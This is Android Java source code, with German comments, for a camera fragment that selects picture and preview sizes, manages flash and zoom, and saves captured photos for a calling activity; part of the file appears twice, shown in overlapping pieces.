Camera.Size bestSize = null;
for (Camera.Size supportedSize : params.getSupportedPictureSizes()) {
// nächst größere Auflösung suchen
if (supportedSize.width >= w && supportedSize.height >= h) {
// Pythagoras
tempDiff = Math
.sqrt(Math.pow((double) supportedSize.width - w, 2)
+ Math.pow((double) supportedSize.height - h, 2));
// minimalste Differenz suchen
if (tempDiff < diff) {
diff = tempDiff;
bestSize = supportedSize;
}
}
}
// beste Auflösung setzen
if (bestSize != null) {
configurePictureSize(bestSize, params);
LOG.debug(bestSize.width + " x " + bestSize.height + " px");
} else {
// Fehlermeldung zurückgeben
String error = "Fehler: Auflösung zu hoch!";
Toast.makeText(getContext(), error, Toast.LENGTH_SHORT).show();
resultBundle.putString("error", error);
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED, resultIntent);
getActivity().finish();
}
}
public void onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK) {
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED, resultIntent);
getActivity().finish();
} else if (keyCode == KeyEvent.KEYCODE_CAMERA) {
if (safeToTakePicture) {
takePicture();
}
} else if (keyCode == KeyEvent.KEYCODE_ZOOM_IN) {
zoomIn();
} else if (keyCode == KeyEvent.KEYCODE_ZOOM_OUT) {
zoomOut();
}
}
private void takePicture() {
// Anwender signalisieren, dass ein Bild aufgenommen wird
progress = ProgressDialog.show(getActivity(), "Speichern",
"Bild wird gespeichert...");
MediaActionSound sound = new MediaActionSound();
sound.play(MediaActionSound.SHUTTER_CLICK);
camera.takePicture(null, null, pictureCallback);
safeToTakePicture = false;
}
private void initPreview() {
drawingView = (DrawingView) getView().findViewById(R.id.drawingView);
preview = new Preview(getContext(), camera, drawingView);
FrameLayout frameLayout =
(FrameLayout) getView().findViewById(R.id.preview);
frameLayout.addView(preview);
safeToTakePicture = true;
}
private void zoomIn() {
if (camera != null) {
Camera.Parameters params = camera.getParameters();
if (this.currentZoomLevel < this.maxZoomLevel) {
currentZoomLevel++;
params.setZoom(this.currentZoomLevel);
camera.setParameters(params);
viewCurrentZoom();
}
}
}
private void zoomOut() {
if (camera != null) {
Camera.Parameters params = camera.getParameters();
if (this.currentZoomLevel > 0) {
currentZoomLevel--;
params.setZoom(this.currentZoomLevel);
camera.setParameters(params);
viewCurrentZoom();
}
}
}
private void viewCurrentZoom() {
TextView txtCurrentZoom =
(TextView) getView().findViewById(R.id.txtCurrentZoom);
txtCurrentZoom.setVisibility(View.VISIBLE);
txtCurrentZoom.setText(
"Zoom: " + this.currentZoomLevel + " / " + this.maxZoomLevel);
}
private void updateFlashModeIcon() {
ImageButton btnFlashmode =
(ImageButton) getView().findViewById(R.id.btn_flashmode);
if (camera.getParameters().getSupportedFlashModes() != null) {
switch (camera.getParameters().getFlashMode()) {
case Camera.Parameters.FLASH_MODE_AUTO:
btnFlashmode
.setImageResource(R.drawable.ic_flash_auto_black_24dp);
break;
case Camera.Parameters.FLASH_MODE_ON:
btnFlashmode
.setImageResource(R.drawable.ic_flash_on_black_24dp);
break;
case Camera.Parameters.FLASH_MODE_OFF:
btnFlashmode
.setImageResource(R.drawable.ic_flash_off_black_24dp);
break;
case Camera.Parameters.FLASH_MODE_RED_EYE:
btnFlashmode
.setImageResource(R.drawable.ic_remove_red_eye_black_24dp);
break;
default:
break;
}
} else {
btnFlashmode.setVisibility(View.INVISIBLE);
}
}
private void releaseCamera() {
if (camera != null) {
camera.stopPreview();
camera.setPreviewCallback(null);
if (preview != null) {
preview.getHolder().removeCallback(preview);
}
camera.release();
camera = null;
if (preview != null && preview.getCamera() != null) {
preview.setCamera(camera);
}
LOG.debug("camera released");
}
}
@Override
public void onPause() {
LOG.debug("onPause()");
super.onPause();
releaseCamera();
}
@Override
public void onDestroyView() {
LOG.debug("onDestroyView()");
super.onDestroyView();
releaseCamera();
}
@Override
public void onResume() {
super.onResume();
Intent i = getActivity().getIntent();
this.maxPictures = i.getIntExtra("maxPictures", maxPictures);
LOG.debug("onResume() maxPictures = " + maxPictures);
if (camera == null) {
camera = getCameraInstance();
if (preview != null && preview.getCamera() == null) {
preview.setCamera(camera);
}
}
}
public static Camera getCameraInstance() {
Camera c = null;
try {
c = Camera.open();
} catch (Exception ex) {
// Camera in use or does not exist
LOG.debug("Error: keine Kamera bekommen: " + ex);
}
if (c != null) {
LOG.debug("camera opened");
LOG.debug("Camera = " + c.toString());
}
return c;
}
public CamFragment() {
// Required empty public constructor
}
/**
* Use this factory method to create a new instance of this fragment using
* the provided parameters.
*
* @return A new instance of fragment CamFragment.
*/
// TODO: Rename and change types and number of parameters
public static CamFragment newInstance() {
CamFragment fragment = new CamFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
LOG.debug("onCreate()");
super.onCreate(savedInstanceState);
resultIntent = new Intent();
resultBundle = new Bundle();
Intent i = getActivity().getIntent();
// max. Anzahl Bilder von rufender Activity auslesen
this.maxPictures = i.getIntExtra("maxPictures", maxPictures);
LOG.debug("onCreate() maxPictures = " + maxPictures);
this.picturesTaken = 0;
this.pictures = new ArrayList<String>();
camera = getCameraInstance();
if (preview != null && preview.getCamera() == null) {
preview.setCamera(camera);
}
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
LOG.debug("onCreateView()");
LOG.debug("CamFragment");
View view = inflater.inflate(R.layout.fragment_cam, container, false);
ImageButton btnFlashmode =
(ImageButton) view.findViewById(R.id.btn_flashmode);
btnFlashmode.setOnClickListener(this);
ImageButton btnCapture =
(ImageButton) view.findViewById(R.id.btn_capture);
btnCapture.setOnClickListener(this);
ImageButton btnZoomin = (ImageButton) view.findViewById(R.id.btnZoomIn);
btnZoomin.setOnClickListener(this);
ImageButton btnZoomOut =
(ImageButton) view.findViewById(R.id.btnZoomOut);
btnZoomOut.setOnClickListener(this);
Button radioFlashmodeAuto =
(Button) view.findViewById(R.id.radio_flashmode_auto);
radioFlashmodeAuto.setOnClickListener(this);
Button radioFlashmodeOn =
(Button) view.findViewById(R.id.radio_flashmode_on);
radioFlashmodeOn.setOnClickListener(this);
Button radioFlashmodeOff =
(Button) view.findViewById(R.id.radio_flashmode_off);
radioFlashmodeOff.setOnClickListener(this);
Button radioFlashmodeRedEye =
(Button) view.findViewById(R.id.radio_flashmode_redEye);
radioFlashmodeRedEye.setOnClickListener(this);
return view;
}
@Override
public void onStart() {
LOG.debug("onStart()");
super.onStart();
if (camera == null) {
camera = getCameraInstance();
if (preview != null && preview.getCamera() == null) {
preview.setCamera(camera);
}
}
if (camera.getParameters().isZoomSupported()) {
ImageButton btnZoomin =
(ImageButton) getView().findViewById(R.id.btnZoomIn);
ImageButton btnZoomOut =
(ImageButton) getView().findViewById(R.id.btnZoomOut);
btnZoomin.setVisibility(View.VISIBLE);
btnZoomOut.setVisibility(View.VISIBLE);
this.maxZoomLevel = camera.getParameters().getMaxZoom();
this.currentZoomLevel = 0;
viewCurrentZoom();
}
updateFlashModeIcon();
initPreview();
findOptimalPictureSize();
initFlashmodes();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btn_flashmode:
flashmodes.setVisibility(View.VISIBLE);
break;
case R.id.btn_capture:
if (safeToTakePicture) {
takePicture();
}
break;
case R.id.btnZoomIn:
zoomIn();
break;
case R.id.btnZoomOut:
zoomOut();
break;
case R.id.radio_flashmode_auto:
case R.id.radio_flashmode_off:
case R.id.radio_flashmode_on:
case R.id.radio_flashmode_redEye:
this.onRadioButtonClicked(v);
break;
case R.id.pictureReview:
startReviewPicturesActivity();
break;
default:
break;
}
}
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
if (savedInstanceState != null) {
this.pictures = savedInstanceState.getStringArrayList("pictures");
this.maxPictures = savedInstanceState.getInt("maxPictures");
this.picturesTaken = this.pictures.size();
if (picturesTaken > 0) {
showLastPicture(
Uri.parse(this.pictures.get(picturesTaken - 1)));
}
displayPicturesTaken();
}
}
@Override
public void onSaveInstanceState(Bundle outState) {
outState.putStringArrayList("pictures", pictures);
outState.putInt("maxPictures", maxPictures);
outState.putInt("picturesTaken", picturesTaken);
super.onSaveInstanceState(outState);
}
private void startReviewPicturesActivity() {
Bundle bundle = new Bundle();
Intent intent = new Intent(getActivity(), ReviewPicturesActivity.class);
bundle.putStringArrayList("pictures", pictures);
intent.putExtra("data", bundle);
startActivityForResult(intent, REVIEW_PICTURES_ACTIVITY_REQUEST);
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
switch (requestCode) {
case REVIEW_PICTURES_ACTIVITY_REQUEST:
if (resultCode == Activity.RESULT_OK
|| resultCode == Activity.RESULT_FIRST_USER) {
Bundle bundle = data.getBundleExtra("data");
this.pictures = bundle.getStringArrayList("pictures");
this.picturesTaken = this.pictures.size();
if (pictures.size() > 0) {
showLastPicture(
Uri.parse(this.pictures.get(pictures.size() - 1)));
}
displayPicturesTaken();
if (resultCode == Activity.RESULT_FIRST_USER) {
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED,
resultIntent);
getActivity().finish();
}
}
break;
default:
break;
}
}
/**
* This interface must be implemented by activities that contain this
* fragment to allow an interaction in this fragment to be communicated to
* the activity and potentially other fragments contained in that activity.
* See the Android Training lesson <a href=
* "http://developer.android.com/training/basics/fragments/communicating.html"
* >Communicating with Other Fragments</a> for more information.
*/
public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
void onFragmentInteraction(Uri uri);
}
}
| src/de/evosec/fotilo/CamFragment.java | package de.evosec.fotilo;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.hardware.Camera;
import android.media.MediaActionSound;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.support.v4.app.Fragment;
import android.view.Display;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.ImageButton;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
/**
* A simple {@link Fragment} subclass. Activities that contain this fragment
* must implement the {@link CamFragment.OnFragmentInteractionListener}
* interface to handle interaction events. Use the
* {@link CamFragment#newInstance} factory method to create an instance of this
* fragment.
*/
public class CamFragment extends Fragment implements View.OnClickListener {
private static final Logger LOG =
LoggerFactory.getLogger(CamFragment.class);
private static final int REVIEW_PICTURES_ACTIVITY_REQUEST = 123;
private static int MEDIA_TYPE_IMAGE = 1;
private int maxPictures;
private int picturesTaken;
private ArrayList<String> pictures;
private Intent resultIntent;
private Bundle resultBundle;
private Camera camera;
private Preview preview;
private DrawingView drawingView;
private RadioGroup flashmodes;
private int maxZoomLevel;
private int currentZoomLevel;
private ProgressDialog progress;
private boolean safeToTakePicture = false;
private final Camera.PictureCallback pictureCallback =
new Camera.PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
// wenn maxPictures noch nicht erreicht
if (picturesTaken < maxPictures || maxPictures == 0) {
File pictureFile = getOutputMediaFile(MEDIA_TYPE_IMAGE);
if (pictureFile == null) {
LOG.debug(
"Konnte Daei nicht erstellen, Berechtigungen überprüfen");
return;
}
FileOutputStream fos = null;
try {
fos = new FileOutputStream(pictureFile);
fos.write(data);
fos.close();
final Uri imageUri = getImageContentUri(
getContext(), pictureFile);
pictures.add(imageUri.toString());
showLastPicture(imageUri);
picturesTaken++;
if (maxPictures > 0) {
Toast.makeText(getContext(),
"Picture " + picturesTaken + " / "
+ maxPictures,
Toast.LENGTH_SHORT).show();
} else {
LOG.debug("Picture " + picturesTaken + " / "
+ maxPictures);
}
displayPicturesTaken();
// set Result
resultBundle.putStringArrayList("pictures",
pictures);
resultIntent.putExtra("data", resultBundle);
sendNewPictureBroadcast(imageUri);
camera.startPreview();
safeToTakePicture = true;
} catch (FileNotFoundException e) {
LOG.debug("File not found: " + e);
} catch (IOException e) {
LOG.debug("Error accessing file: " + e);
} finally {
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
LOG.debug("" + e);
}
}
progress.dismiss();
}
}
// wenn maxPictures erreicht, Bildpfade zurückgeben
if (picturesTaken == maxPictures) {
LOG.debug("maxPictures erreicht");
getActivity().setResult(Activity.RESULT_OK,
resultIntent);
getActivity().finish();
}
}
};
private void displayPicturesTaken() {
TextView txtpicturesTaken =
(TextView) getActivity().findViewById(R.id.picturesTaken);
txtpicturesTaken.setText("Bilder: " + picturesTaken);
}
private void showLastPicture(Uri imageUri) {
ImageButton pictureReview =
(ImageButton) getActivity().findViewById(R.id.pictureReview);
pictureReview.setOnClickListener(this);
pictureReview.setVisibility(View.VISIBLE);
new ShowThumbnailTask(pictureReview, getActivity().getContentResolver())
.execute(imageUri);
}
private void sendNewPictureBroadcast(Uri imageUri) {
Intent intent = new Intent("com.android.camera.NEW_PICTURE");
try {
intent.setData(imageUri);
} catch (Exception e) {
LOG.debug("" + e);
}
getActivity().sendBroadcast(intent);
}
private static Uri getImageContentUri(Context context, File imageFile) {
String filePath = imageFile.getAbsolutePath();
Cursor cursor = context.getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
new String[] {MediaStore.Images.Media._ID},
MediaStore.Images.Media.DATA + "=? ", new String[] {filePath},
null);
if (cursor != null && cursor.moveToFirst()) {
int id = cursor
.getInt(cursor.getColumnIndex(MediaStore.MediaColumns._ID));
Uri baseUri = Uri.parse("content://media/external/images/media");
return Uri.withAppendedPath(baseUri, "" + id);
} else {
if (imageFile.exists()) {
ContentValues values = new ContentValues();
values.put(MediaStore.Images.Media.DATA, filePath);
return context.getContentResolver().insert(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
} else {
return null;
}
}
}
private static File getOutputMediaFile(int type) {
File storageDir =
new File(Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_PICTURES), "MyCam");
// Wenn Verzeichnis nicht existiert, erstellen
if (!storageDir.exists() && !storageDir.mkdirs()) {
LOG.debug("Konnte Bilderverzeichnis nicht erstellen!");
return null;
}
// Dateinamen erzeugen
String timeStmp =
new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
File mediaFile;
if (type == MEDIA_TYPE_IMAGE) {
mediaFile = new File(storageDir.getPath() + File.separator + "IMG_"
+ timeStmp + ".jpg");
} else {
return null;
}
return mediaFile;
}
private void initFlashmodes() {
flashmodes =
(RadioGroup) getView().findViewById(R.id.radioGroup_Flashmodes);
List<String> supportedFlashModes =
camera.getParameters().getSupportedFlashModes();
if (supportedFlashModes != null) {
for (String flashMode : supportedFlashModes) {
switch (flashMode) {
case Camera.Parameters.FLASH_MODE_AUTO:
getView().findViewById(R.id.radio_flashmode_auto)
.setVisibility(View.VISIBLE);
break;
case Camera.Parameters.FLASH_MODE_ON:
getView().findViewById(R.id.radio_flashmode_on)
.setVisibility(View.VISIBLE);
break;
case Camera.Parameters.FLASH_MODE_OFF:
getView().findViewById(R.id.radio_flashmode_off)
.setVisibility(View.VISIBLE);
break;
case Camera.Parameters.FLASH_MODE_RED_EYE:
getView().findViewById(R.id.radio_flashmode_redEye)
.setVisibility(View.VISIBLE);
break;
default:
break;
}
}
setDefaultFlashmode();
updateFlashModeIcon();
initSelectedFlashmode();
} else {
flashmodes.setVisibility(View.INVISIBLE);
}
}
private void initSelectedFlashmode() {
if (camera.getParameters().getSupportedFlashModes() != null) {
switch (camera.getParameters().getFlashMode()) {
case Camera.Parameters.FLASH_MODE_AUTO:
((RadioButton) getView()
.findViewById(R.id.radio_flashmode_auto)).setChecked(true);
break;
case Camera.Parameters.FLASH_MODE_ON:
((RadioButton) getView().findViewById(R.id.radio_flashmode_on))
.setChecked(true);
break;
case Camera.Parameters.FLASH_MODE_OFF:
((RadioButton) getView().findViewById(R.id.radio_flashmode_off))
.setChecked(true);
break;
case Camera.Parameters.FLASH_MODE_RED_EYE:
((RadioButton) getView()
.findViewById(R.id.radio_flashmode_redEye))
.setChecked(true);
break;
default:
break;
}
}
}
public void onRadioButtonClicked(View view) {
String flashMode = "";
switch (view.getId()) {
case R.id.radio_flashmode_auto:
flashMode = Camera.Parameters.FLASH_MODE_AUTO;
break;
case R.id.radio_flashmode_on:
flashMode = Camera.Parameters.FLASH_MODE_ON;
break;
case R.id.radio_flashmode_off:
flashMode = Camera.Parameters.FLASH_MODE_OFF;
break;
case R.id.radio_flashmode_redEye:
flashMode = Camera.Parameters.FLASH_MODE_RED_EYE;
break;
default:
break;
}
Camera.Parameters params = camera.getParameters();
params.setFlashMode(flashMode);
camera.setParameters(params);
updateFlashModeIcon();
flashmodes.setVisibility(View.INVISIBLE);
Toast.makeText(getContext(), "Flashmode = " + flashMode,
Toast.LENGTH_SHORT).show();
}
private void setDefaultFlashmode() {
Camera.Parameters params = camera.getParameters();
if (camera.getParameters().getSupportedFlashModes()
.contains(Camera.Parameters.FLASH_MODE_AUTO)) {
params.setFlashMode(Camera.Parameters.FLASH_MODE_AUTO);
camera.setParameters(params);
}
}
private void findOptimalPictureSize() {
// Ausgewählte Auflösung von rufender Activity einstellen
Intent i = getActivity().getIntent();
Camera.Parameters params = camera.getParameters();
int w = 0;
int h = 0;
double ratio = 0;
w = i.getIntExtra("width", w);
h = i.getIntExtra("height", h);
ratio = i.getDoubleExtra("aspectratio", ratio);
LOG.debug("w = " + w + "; h = " + h + "; ratio = " + ratio);
Camera.Size bestSize = null;
if (w > 0 && h > 0) {
// Mindestauflösung setzen
findOptimalPictureSizeBySize(w, h);
} else if (ratio > 0) {
bestSize = getLargestResolutionByAspectRatio(
camera.getParameters().getSupportedPictureSizes(), ratio);
if (bestSize.width == camera.getParameters().getPreviewSize().width
&& bestSize.height == camera.getParameters()
.getPreviewSize().height) {
// Errormeldung keine Auflösung mit passendem Seitenverhältnis
// gefunden
String error =
"Fehler: Keine Auflösung mit diesem Seitenverhältnis verfügbar!";
Toast.makeText(getContext(), error, Toast.LENGTH_SHORT).show();
resultBundle.putString("error", error);
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED, resultIntent);
getActivity().finish();
return;
}
configurePictureSize(bestSize, params);
LOG.debug(bestSize.width + " x " + bestSize.height);
} else {
// keine Auflösung vorgegeben: höchste 4:3 Auflösung wählen
configureLargestFourToThreeRatioPictureSize();
}
}
public void configurePictureSize(Camera.Size size,
Camera.Parameters params) {
params.setPictureSize(size.width, size.height);
camera.setParameters(params);
scalePreviewSize();
}
public void scalePreviewSize() {
Camera.Size pictureSize = camera.getParameters().getPictureSize();
Camera.Size previewSize = camera.getParameters().getPreviewSize();
LOG.debug(
"PictureSize = " + pictureSize.width + " x " + pictureSize.height);
double pictureRatio =
(double) pictureSize.width / (double) pictureSize.height;
previewSize = getLargestResolutionByAspectRatio(
camera.getParameters().getSupportedPreviewSizes(), pictureRatio);
LOG.debug(
"PreviewSize = " + previewSize.width + " x " + previewSize.height);
configurePreviewSize(previewSize);
}
public Camera.Size getLargestResolutionByAspectRatio(
List<Camera.Size> sizes, double aspectRatio) {
Camera.Size largestSize = camera.getParameters().getPreviewSize();
largestSize.width = 0;
largestSize.height = 0;
for (Camera.Size size : sizes) {
double ratio = (double) size.width / (double) size.height;
if (Math.abs(ratio - aspectRatio) < 0.00000001
&& size.width >= largestSize.width
&& size.height >= largestSize.height) {
largestSize = size;
}
}
return largestSize;
}
public void configurePreviewSize(Camera.Size size) {
Display display = getActivity().getWindowManager().getDefaultDisplay();
Camera.Parameters params = camera.getParameters();
int screenWidth = display.getWidth();
int screenHeight = display.getHeight();
Camera.Size bestPreviewSize = size;
params.setPreviewSize(bestPreviewSize.width, bestPreviewSize.height);
camera.setParameters(params);
preview.getLayoutParams().width = bestPreviewSize.width;
preview.getLayoutParams().height = bestPreviewSize.height;
FrameLayout frameLayout =
(FrameLayout) getView().findViewById(R.id.preview);
RelativeLayout.LayoutParams layoutPreviewParams =
(RelativeLayout.LayoutParams) frameLayout.getLayoutParams();
layoutPreviewParams.width = bestPreviewSize.width;
layoutPreviewParams.height = bestPreviewSize.height;
layoutPreviewParams.addRule(RelativeLayout.CENTER_IN_PARENT);
frameLayout.setLayoutParams(layoutPreviewParams);
LOG.debug("screenSize = " + screenWidth + " x " + screenHeight);
LOG.debug("PreviewSize = " + bestPreviewSize.width + " x "
+ bestPreviewSize.height);
}
private void configureLargestFourToThreeRatioPictureSize() {
Camera.Parameters params = camera.getParameters();
List<Camera.Size> supportedPictureSizes =
params.getSupportedPictureSizes();
Camera.Size bestSize = params.getPictureSize();
bestSize.width = 0;
bestSize.height = 0;
double fourToThreeRatio = 4.0 / 3.0;
for (Camera.Size supportedSize : supportedPictureSizes) {
if (Math
.abs((double) supportedSize.width / supportedSize.height
- fourToThreeRatio) == 0
&& supportedSize.width >= bestSize.width
&& supportedSize.height >= bestSize.height) {
bestSize = supportedSize;
}
}
params.setPictureSize(bestSize.width, bestSize.height);
camera.setParameters(params);
configurePictureSize(bestSize, params);
LOG.debug(bestSize.width + " x " + bestSize.height);
}
private void findOptimalPictureSizeBySize(int w, int h) {
Camera.Parameters params = camera.getParameters();
double tempDiff = 0;
double diff = Integer.MAX_VALUE;
Camera.Size bestSize = null;
for (Camera.Size supportedSize : params.getSupportedPictureSizes()) {
// nächst größere Auflösung suchen
if (supportedSize.width >= w && supportedSize.height >= h) {
// Pythagoras
tempDiff = Math
.sqrt(Math.pow((double) supportedSize.width - w, 2)
+ Math.pow((double) supportedSize.height - h, 2));
// minimalste Differenz suchen
if (tempDiff < diff) {
diff = tempDiff;
bestSize = supportedSize;
}
}
}
// beste Auflösung setzen
if (bestSize != null) {
configurePictureSize(bestSize, params);
LOG.debug(bestSize.width + " x " + bestSize.height + " px");
} else {
// Fehlermeldung zurückgeben
String error = "Fehler: Auflösung zu hoch!";
Toast.makeText(getContext(), error, Toast.LENGTH_SHORT).show();
resultBundle.putString("error", error);
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED, resultIntent);
getActivity().finish();
}
}
public void onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK) {
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED, resultIntent);
getActivity().finish();
} else if (keyCode == KeyEvent.KEYCODE_CAMERA) {
if (safeToTakePicture) {
takePicture();
}
} else if (keyCode == KeyEvent.KEYCODE_ZOOM_IN) {
zoomIn();
} else if (keyCode == KeyEvent.KEYCODE_ZOOM_OUT) {
zoomOut();
}
}
private void takePicture() {
// Anwender signalisieren, dass ein Bild aufgenommen wird
progress = ProgressDialog.show(getActivity(), "Speichern",
"Bild wird gespeichert...");
MediaActionSound sound = new MediaActionSound();
sound.play(MediaActionSound.SHUTTER_CLICK);
camera.takePicture(null, null, pictureCallback);
safeToTakePicture = false;
}
private void initPreview() {
drawingView = (DrawingView) getView().findViewById(R.id.drawingView);
preview = new Preview(getContext(), camera, drawingView);
FrameLayout frameLayout =
(FrameLayout) getView().findViewById(R.id.preview);
frameLayout.addView(preview);
safeToTakePicture = true;
}
private void zoomIn() {
if (camera != null) {
Camera.Parameters params = camera.getParameters();
if (this.currentZoomLevel < this.maxZoomLevel) {
currentZoomLevel++;
params.setZoom(this.currentZoomLevel);
camera.setParameters(params);
viewCurrentZoom();
}
}
}
private void zoomOut() {
if (camera != null) {
Camera.Parameters params = camera.getParameters();
if (this.currentZoomLevel > 0) {
currentZoomLevel--;
params.setZoom(this.currentZoomLevel);
camera.setParameters(params);
viewCurrentZoom();
}
}
}
private void viewCurrentZoom() {
TextView txtCurrentZoom =
(TextView) getView().findViewById(R.id.txtCurrentZoom);
txtCurrentZoom.setVisibility(View.VISIBLE);
txtCurrentZoom.setText(
"Zoom: " + this.currentZoomLevel + " / " + this.maxZoomLevel);
}
private void updateFlashModeIcon() {
ImageButton btnFlashmode =
(ImageButton) getView().findViewById(R.id.btn_flashmode);
if (camera.getParameters().getSupportedFlashModes() != null) {
switch (camera.getParameters().getFlashMode()) {
case Camera.Parameters.FLASH_MODE_AUTO:
btnFlashmode
.setImageResource(R.drawable.ic_flash_auto_black_24dp);
break;
case Camera.Parameters.FLASH_MODE_ON:
btnFlashmode
.setImageResource(R.drawable.ic_flash_on_black_24dp);
break;
case Camera.Parameters.FLASH_MODE_OFF:
btnFlashmode
.setImageResource(R.drawable.ic_flash_off_black_24dp);
break;
case Camera.Parameters.FLASH_MODE_RED_EYE:
btnFlashmode
.setImageResource(R.drawable.ic_remove_red_eye_black_24dp);
break;
default:
break;
}
} else {
btnFlashmode.setVisibility(View.INVISIBLE);
}
}
private void releaseCamera() {
if (camera != null) {
camera.stopPreview();
camera.setPreviewCallback(null);
if (preview != null) {
preview.getHolder().removeCallback(preview);
}
camera.release();
camera = null;
if (preview != null && preview.getCamera() != null) {
preview.setCamera(camera);
}
LOG.debug("camera released");
}
}
@Override
public void onPause() {
LOG.debug("onPause()");
super.onPause();
releaseCamera();
}
@Override
public void onDestroyView() {
LOG.debug("onDestroyView()");
super.onDestroyView();
releaseCamera();
}
@Override
public void onResume() {
super.onResume();
Intent i = getActivity().getIntent();
this.maxPictures = i.getIntExtra("maxPictures", maxPictures);
LOG.debug("onResume() maxPictures = " + maxPictures);
if (camera == null) {
camera = getCameraInstance();
if (preview != null && preview.getCamera() == null) {
preview.setCamera(camera);
}
}
}
public static Camera getCameraInstance() {
Camera c = null;
try {
c = Camera.open();
} catch (Exception ex) {
// Camera in use or does not exist
LOG.debug("Error: keine Kamera bekommen: " + ex);
}
if (c != null) {
LOG.debug("camera opened");
LOG.debug("Camera = " + c.toString());
}
return c;
}
public CamFragment() {
// Required empty public constructor
}
/**
* Use this factory method to create a new instance of this fragment using
* the provided parameters.
*
* @return A new instance of fragment CamFragment.
*/
// TODO: Rename and change types and number of parameters
public static CamFragment newInstance() {
CamFragment fragment = new CamFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
LOG.debug("onCreate()");
super.onCreate(savedInstanceState);
resultIntent = new Intent();
resultBundle = new Bundle();
Intent i = getActivity().getIntent();
// max. Anzahl Bilder von rufender Activity auslesen
this.maxPictures = i.getIntExtra("maxPictures", maxPictures);
LOG.debug("onCreate() maxPictures = " + maxPictures);
this.picturesTaken = 0;
this.pictures = new ArrayList<String>();
camera = getCameraInstance();
if (preview != null && preview.getCamera() == null) {
preview.setCamera(camera);
}
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
LOG.debug("onCreateView()");
LOG.debug("CamFragment");
View view = inflater.inflate(R.layout.fragment_cam, container, false);
ImageButton btnFlashmode =
(ImageButton) view.findViewById(R.id.btn_flashmode);
btnFlashmode.setOnClickListener(this);
ImageButton btnCapture =
(ImageButton) view.findViewById(R.id.btn_capture);
btnCapture.setOnClickListener(this);
ImageButton btnZoomin = (ImageButton) view.findViewById(R.id.btnZoomIn);
btnZoomin.setOnClickListener(this);
ImageButton btnZoomOut =
(ImageButton) view.findViewById(R.id.btnZoomOut);
btnZoomOut.setOnClickListener(this);
Button radioFlashmodeAuto =
(Button) view.findViewById(R.id.radio_flashmode_auto);
radioFlashmodeAuto.setOnClickListener(this);
Button radioFlashmodeOn =
(Button) view.findViewById(R.id.radio_flashmode_on);
radioFlashmodeOn.setOnClickListener(this);
Button radioFlashmodeOff =
(Button) view.findViewById(R.id.radio_flashmode_off);
radioFlashmodeOff.setOnClickListener(this);
Button radioFlashmodeRedEye =
(Button) view.findViewById(R.id.radio_flashmode_redEye);
radioFlashmodeRedEye.setOnClickListener(this);
return view;
}
@Override
public void onStart() {
LOG.debug("onStart()");
super.onStart();
if (camera == null) {
camera = getCameraInstance();
if (preview != null && preview.getCamera() == null) {
preview.setCamera(camera);
}
}
if (camera.getParameters().isZoomSupported()) {
ImageButton btnZoomin =
(ImageButton) getView().findViewById(R.id.btnZoomIn);
ImageButton btnZoomOut =
(ImageButton) getView().findViewById(R.id.btnZoomOut);
btnZoomin.setVisibility(View.VISIBLE);
btnZoomOut.setVisibility(View.VISIBLE);
this.maxZoomLevel = camera.getParameters().getMaxZoom();
this.currentZoomLevel = 0;
viewCurrentZoom();
}
updateFlashModeIcon();
initPreview();
findOptimalPictureSize();
initFlashmodes();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btn_flashmode:
flashmodes.setVisibility(View.VISIBLE);
break;
case R.id.btn_capture:
if (safeToTakePicture) {
takePicture();
}
break;
case R.id.btnZoomIn:
zoomIn();
break;
case R.id.btnZoomOut:
zoomOut();
break;
case R.id.radio_flashmode_auto:
case R.id.radio_flashmode_off:
case R.id.radio_flashmode_on:
case R.id.radio_flashmode_redEye:
this.onRadioButtonClicked(v);
break;
case R.id.pictureReview:
startReviewPicturesActivity();
break;
default:
break;
}
}
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
if (savedInstanceState != null) {
this.pictures = savedInstanceState.getStringArrayList("pictures");
this.maxPictures = savedInstanceState.getInt("maxPictures");
this.picturesTaken = this.pictures.size();
if (picturesTaken > 0) {
showLastPicture(
Uri.parse(this.pictures.get(picturesTaken - 1)));
}
displayPicturesTaken();
}
}
@Override
public void onSaveInstanceState(Bundle outState) {
outState.putStringArrayList("pictures", pictures);
outState.putInt("maxPictures", maxPictures);
outState.putInt("picturesTaken", picturesTaken);
